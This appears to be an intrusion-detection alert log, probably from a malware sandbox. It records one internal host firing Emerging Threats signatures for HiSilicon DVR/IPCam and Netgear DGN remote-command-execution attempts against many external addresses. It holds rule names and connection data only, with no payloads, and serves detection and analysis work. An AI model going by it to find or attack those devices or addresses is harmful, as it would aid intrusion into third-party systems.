05/16/24-16:38:55.192609	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49278	9530	192.168.2.23	136.120.162.22
05/16/24-16:39:08.146688	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49234	9530	192.168.2.23	143.43.29.66
05/16/24-16:38:55.192609	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49278	9530	192.168.2.23	136.120.162.22
05/16/24-16:39:13.662034	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	33188	80	192.168.2.23	37.208.175.64
05/16/24-16:39:12.304108	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42006	9530	192.168.2.23	57.71.93.84
05/16/24-16:39:03.263596	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41010	9530	192.168.2.23	125.167.43.104
05/16/24-16:39:03.263596	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41010	9530	192.168.2.23	125.167.43.104
05/16/24-16:39:12.304108	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42006	9530	192.168.2.23	57.71.93.84
05/16/24-16:39:14.493390	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47822	9530	192.168.2.23	188.134.47.108
05/16/24-16:39:08.145203	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59122	9530	192.168.2.23	71.91.243.123
05/16/24-16:39:08.145203	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59122	9530	192.168.2.23	71.91.243.123
05/16/24-16:39:14.493390	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47822	9530	192.168.2.23	188.134.47.108
05/16/24-16:39:05.717227	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39256	9530	192.168.2.23	114.0.191.217
05/16/24-16:39:03.263630	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47112	9530	192.168.2.23	150.196.240.13
05/16/24-16:39:03.263630	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47112	9530	192.168.2.23	150.196.240.13
05/16/24-16:39:05.717227	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39256	9530	192.168.2.23	114.0.191.217
05/16/24-16:39:16.615078	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35362	9530	192.168.2.23	169.152.244.33
05/16/24-16:39:16.615078	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35362	9530	192.168.2.23	169.152.244.33
05/16/24-16:38:57.303914	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40790	9530	192.168.2.23	122.229.106.8
05/16/24-16:39:08.044959	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33760	9530	192.168.2.23	68.140.112.156
05/16/24-16:38:57.303914	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40790	9530	192.168.2.23	122.229.106.8
05/16/24-16:39:08.044959	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33760	9530	192.168.2.23	68.140.112.156
05/16/24-16:39:14.523646	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55594	9530	192.168.2.23	80.116.23.119
05/16/24-16:39:12.380563	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60658	9530	192.168.2.23	25.181.198.94
05/16/24-16:39:12.380563	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60658	9530	192.168.2.23	25.181.198.94
05/16/24-16:39:14.523646	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55594	9530	192.168.2.23	80.116.23.119
05/16/24-16:38:59.520118	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43490	9530	192.168.2.23	59.250.106.51
05/16/24-16:38:53.011235	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48230	9530	192.168.2.23	218.32.8.212
05/16/24-16:38:59.520118	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43490	9530	192.168.2.23	59.250.106.51
05/16/24-16:39:01.474040	TCP	2034576	ET EXPLOIT Netgear DGN Remote Code Execution	51530	80	192.168.2.23	36.80.241.120
05/16/24-16:38:57.443777	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34908	9530	192.168.2.23	154.143.165.61
05/16/24-16:38:53.011235	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48230	9530	192.168.2.23	218.32.8.212
05/16/24-16:38:57.443777	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34908	9530	192.168.2.23	154.143.165.61
05/16/24-16:38:50.081851	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59364	9530	192.168.2.23	20.228.3.244
05/16/24-16:38:55.174985	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58294	9530	192.168.2.23	43.151.48.126
05/16/24-16:39:14.492190	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45128	9530	192.168.2.23	166.31.194.215
05/16/24-16:38:55.174985	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58294	9530	192.168.2.23	43.151.48.126
05/16/24-16:39:14.492190	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45128	9530	192.168.2.23	166.31.194.215
05/16/24-16:39:16.603573	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44672	9530	192.168.2.23	137.70.188.214
05/16/24-16:39:16.603573	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44672	9530	192.168.2.23	137.70.188.214
05/16/24-16:38:55.187219	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55618	9530	192.168.2.23	155.6.96.243
05/16/24-16:38:59.520070	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56458	9530	192.168.2.23	200.67.51.245
05/16/24-16:39:02.747129	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45416	9530	192.168.2.23	124.59.103.4
05/16/24-16:39:12.295488	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40108	9530	192.168.2.23	137.184.88.80
05/16/24-16:38:55.187219	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55618	9530	192.168.2.23	155.6.96.243
05/16/24-16:39:02.747129	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45416	9530	192.168.2.23	124.59.103.4
05/16/24-16:39:12.295488	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40108	9530	192.168.2.23	137.184.88.80
05/16/24-16:38:50.081851	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59364	9530	192.168.2.23	20.228.3.244
05/16/24-16:39:05.707652	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41876	9530	192.168.2.23	65.251.155.252
05/16/24-16:39:05.713664	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44418	9530	192.168.2.23	114.93.94.122
05/16/24-16:39:05.707652	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41876	9530	192.168.2.23	65.251.155.252
05/16/24-16:39:05.713664	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44418	9530	192.168.2.23	114.93.94.122
05/16/24-16:39:08.123568	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46076	9530	192.168.2.23	69.81.106.161
05/16/24-16:38:57.442651	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39644	9530	192.168.2.23	65.71.35.41
05/16/24-16:39:08.123568	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46076	9530	192.168.2.23	69.81.106.161
05/16/24-16:38:59.589135	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55218	9530	192.168.2.23	117.128.48.212
05/16/24-16:38:59.589135	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55218	9530	192.168.2.23	117.128.48.212
05/16/24-16:38:57.442651	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39644	9530	192.168.2.23	65.71.35.41
05/16/24-16:39:03.280209	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33158	9530	192.168.2.23	148.27.241.7
05/16/24-16:39:03.280209	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33158	9530	192.168.2.23	148.27.241.7
05/16/24-16:38:49.306238	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	44310	80	192.168.2.23	45.89.131.53
05/16/24-16:38:53.064485	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46686	9530	192.168.2.23	51.189.105.240
05/16/24-16:38:50.068425	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47956	9530	192.168.2.23	148.94.223.125
05/16/24-16:38:53.064485	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46686	9530	192.168.2.23	51.189.105.240
05/16/24-16:39:09.569983	TCP	2029215	ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound	35132	80	192.168.2.23	154.141.120.120
05/16/24-16:38:55.208915	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39322	9530	192.168.2.23	32.160.193.236
05/16/24-16:38:50.068425	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47956	9530	192.168.2.23	148.94.223.125
05/16/24-16:38:55.208915	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39322	9530	192.168.2.23	32.160.193.236
05/16/24-16:39:14.517540	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36580	9530	192.168.2.23	178.41.207.145
05/16/24-16:39:14.517540	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36580	9530	192.168.2.23	178.41.207.145
05/16/24-16:39:05.675927	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41226	9530	192.168.2.23	64.116.44.246
05/16/24-16:39:05.675927	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41226	9530	192.168.2.23	64.116.44.246
05/16/24-16:38:55.201805	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45710	9530	192.168.2.23	39.248.136.196
05/16/24-16:38:55.201805	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45710	9530	192.168.2.23	39.248.136.196
05/16/24-16:39:05.717911	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56452	9530	192.168.2.23	133.242.215.221
05/16/24-16:39:05.717911	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56452	9530	192.168.2.23	133.242.215.221
05/16/24-16:39:12.380218	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53746	9530	192.168.2.23	99.97.123.211
05/16/24-16:39:12.380218	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53746	9530	192.168.2.23	99.97.123.211
05/16/24-16:39:16.615097	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50514	9530	192.168.2.23	38.226.106.245
05/16/24-16:39:16.615097	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50514	9530	192.168.2.23	38.226.106.245
05/16/24-16:39:12.303861	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60508	9530	192.168.2.23	116.112.34.162
05/16/24-16:39:12.303861	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60508	9530	192.168.2.23	116.112.34.162
05/16/24-16:38:55.204612	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52228	9530	192.168.2.23	162.30.172.176
05/16/24-16:38:55.204612	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52228	9530	192.168.2.23	162.30.172.176
05/16/24-16:39:12.380651	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55750	9530	192.168.2.23	27.18.43.154
05/16/24-16:39:12.380651	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55750	9530	192.168.2.23	27.18.43.154
05/16/24-16:38:57.442562	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34636	9530	192.168.2.23	35.145.129.4
05/16/24-16:38:57.442562	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34636	9530	192.168.2.23	35.145.129.4
05/16/24-16:38:50.052450	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58812	9530	192.168.2.23	209.19.131.232
05/16/24-16:39:08.127129	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54080	9530	192.168.2.23	73.248.199.244
05/16/24-16:38:50.052450	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58812	9530	192.168.2.23	209.19.131.232
05/16/24-16:39:08.127129	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54080	9530	192.168.2.23	73.248.199.244
05/16/24-16:39:14.493585	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57364	9530	192.168.2.23	38.209.228.54
05/16/24-16:39:14.493585	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57364	9530	192.168.2.23	38.209.228.54
05/16/24-16:39:03.290444	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39354	9530	192.168.2.23	104.97.56.222
05/16/24-16:39:12.298163	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57906	9530	192.168.2.23	109.109.160.216
05/16/24-16:39:12.298163	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57906	9530	192.168.2.23	109.109.160.216
05/16/24-16:38:57.448980	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51898	9530	192.168.2.23	75.126.50.59
05/16/24-16:39:03.290444	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39354	9530	192.168.2.23	104.97.56.222
05/16/24-16:38:57.448980	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51898	9530	192.168.2.23	75.126.50.59
05/16/24-16:39:14.532793	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50090	9530	192.168.2.23	61.28.109.111
05/16/24-16:39:16.585516	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58778	9530	192.168.2.23	93.45.47.233
05/16/24-16:39:16.585516	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58778	9530	192.168.2.23	93.45.47.233
05/16/24-16:39:14.532793	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50090	9530	192.168.2.23	61.28.109.111
05/16/24-16:38:50.004286	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58608	9530	192.168.2.23	120.7.53.192
05/16/24-16:38:50.004286	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58608	9530	192.168.2.23	120.7.53.192
05/16/24-16:38:57.435600	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55978	9530	192.168.2.23	32.131.46.245
05/16/24-16:38:57.435600	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55978	9530	192.168.2.23	32.131.46.245
05/16/24-16:39:16.580493	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47338	9530	192.168.2.23	97.116.224.246
05/16/24-16:39:16.580493	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47338	9530	192.168.2.23	97.116.224.246
05/16/24-16:39:02.762985	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36762	9530	192.168.2.23	25.103.219.87
05/16/24-16:39:02.762985	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36762	9530	192.168.2.23	25.103.219.87
05/16/24-16:39:05.712617	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55964	9530	192.168.2.23	201.134.158.18
05/16/24-16:39:16.585515	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40974	9530	192.168.2.23	57.101.41.196
05/16/24-16:39:05.712617	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55964	9530	192.168.2.23	201.134.158.18
05/16/24-16:39:16.585515	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40974	9530	192.168.2.23	57.101.41.196
05/16/24-16:39:14.522015	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52478	9530	192.168.2.23	177.33.97.161
05/16/24-16:39:05.676898	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51980	9530	192.168.2.23	204.198.102.91
05/16/24-16:39:14.522015	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52478	9530	192.168.2.23	177.33.97.161
05/16/24-16:38:57.439252	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33132	9530	192.168.2.23	213.108.250.110
05/16/24-16:38:50.053185	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44762	9530	192.168.2.23	223.133.106.125
05/16/24-16:38:57.439252	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33132	9530	192.168.2.23	213.108.250.110
05/16/24-16:38:50.053185	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44762	9530	192.168.2.23	223.133.106.125
05/16/24-16:39:02.748826	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50248	9530	192.168.2.23	217.200.29.213
05/16/24-16:38:50.065101	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32922	9530	192.168.2.23	85.168.162.112
05/16/24-16:39:14.531190	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53940	9530	192.168.2.23	178.185.190.249
05/16/24-16:38:50.065101	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32922	9530	192.168.2.23	85.168.162.112
05/16/24-16:39:14.531190	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53940	9530	192.168.2.23	178.185.190.249
05/16/24-16:39:05.677618	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51108	9530	192.168.2.23	98.186.226.218
05/16/24-16:39:05.677618	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51108	9530	192.168.2.23	98.186.226.218
05/16/24-16:39:05.676898	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51980	9530	192.168.2.23	204.198.102.91
05/16/24-16:38:53.011249	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58256	9530	192.168.2.23	138.149.45.163
05/16/24-16:38:55.175049	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43402	9530	192.168.2.23	63.146.214.125
05/16/24-16:38:53.011249	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58256	9530	192.168.2.23	138.149.45.163
05/16/24-16:38:55.175049	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43402	9530	192.168.2.23	63.146.214.125
05/16/24-16:39:16.605759	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44470	9530	192.168.2.23	195.244.33.75
05/16/24-16:39:16.605759	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44470	9530	192.168.2.23	195.244.33.75
05/16/24-16:38:50.052265	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35252	9530	192.168.2.23	152.10.133.200
05/16/24-16:39:08.045005	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44718	9530	192.168.2.23	160.114.208.77
05/16/24-16:38:50.052265	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35252	9530	192.168.2.23	152.10.133.200
05/16/24-16:39:08.045005	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44718	9530	192.168.2.23	160.114.208.77
05/16/24-16:39:12.382135	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59604	9530	192.168.2.23	134.157.21.20
05/16/24-16:38:59.520070	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56458	9530	192.168.2.23	200.67.51.245
05/16/24-16:39:12.382135	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59604	9530	192.168.2.23	134.157.21.20
05/16/24-16:39:02.726921	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56428	9530	192.168.2.23	64.143.104.175
05/16/24-16:39:02.726921	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56428	9530	192.168.2.23	64.143.104.175
05/16/24-16:39:05.699610	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38008	9530	192.168.2.23	40.129.26.167
05/16/24-16:39:05.699610	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38008	9530	192.168.2.23	40.129.26.167
05/16/24-16:39:16.608389	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36830	9530	192.168.2.23	110.147.10.88
05/16/24-16:39:16.608389	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36830	9530	192.168.2.23	110.147.10.88
05/16/24-16:38:50.047739	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57552	9530	192.168.2.23	50.69.17.109
05/16/24-16:38:50.047739	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57552	9530	192.168.2.23	50.69.17.109
05/16/24-16:38:59.520031	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50934	9530	192.168.2.23	73.90.176.81
05/16/24-16:38:59.520031	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50934	9530	192.168.2.23	73.90.176.81
05/16/24-16:38:50.053099	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48298	9530	192.168.2.23	169.72.220.216
05/16/24-16:39:12.382096	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38624	9530	192.168.2.23	200.239.35.171
05/16/24-16:38:50.053099	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48298	9530	192.168.2.23	169.72.220.216
05/16/24-16:39:12.382096	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38624	9530	192.168.2.23	200.239.35.171
05/16/24-16:38:53.013613	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52144	9530	192.168.2.23	176.34.191.78
05/16/24-16:38:53.013613	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52144	9530	192.168.2.23	176.34.191.78
05/16/24-16:39:02.768667	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57608	9530	192.168.2.23	4.90.240.244
05/16/24-16:39:14.528272	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38854	9530	192.168.2.23	107.253.96.31
05/16/24-16:39:02.768667	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57608	9530	192.168.2.23	4.90.240.244
05/16/24-16:39:14.528272	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38854	9530	192.168.2.23	107.253.96.31
05/16/24-16:39:16.610529	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42646	9530	192.168.2.23	162.83.52.79
05/16/24-16:39:16.610529	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42646	9530	192.168.2.23	162.83.52.79
05/16/24-16:39:02.748826	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50248	9530	192.168.2.23	217.200.29.213
05/16/24-16:39:05.676402	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58432	9530	192.168.2.23	81.214.76.215
05/16/24-16:39:05.676402	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58432	9530	192.168.2.23	81.214.76.215
05/16/24-16:39:03.256837	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59306	9530	192.168.2.23	91.14.126.59
05/16/24-16:39:03.256837	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59306	9530	192.168.2.23	91.14.126.59
05/16/24-16:38:59.557981	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43690	9530	192.168.2.23	165.135.204.200
05/16/24-16:38:59.557981	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43690	9530	192.168.2.23	165.135.204.200
05/16/24-16:39:05.717273	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42122	9530	192.168.2.23	31.135.17.166
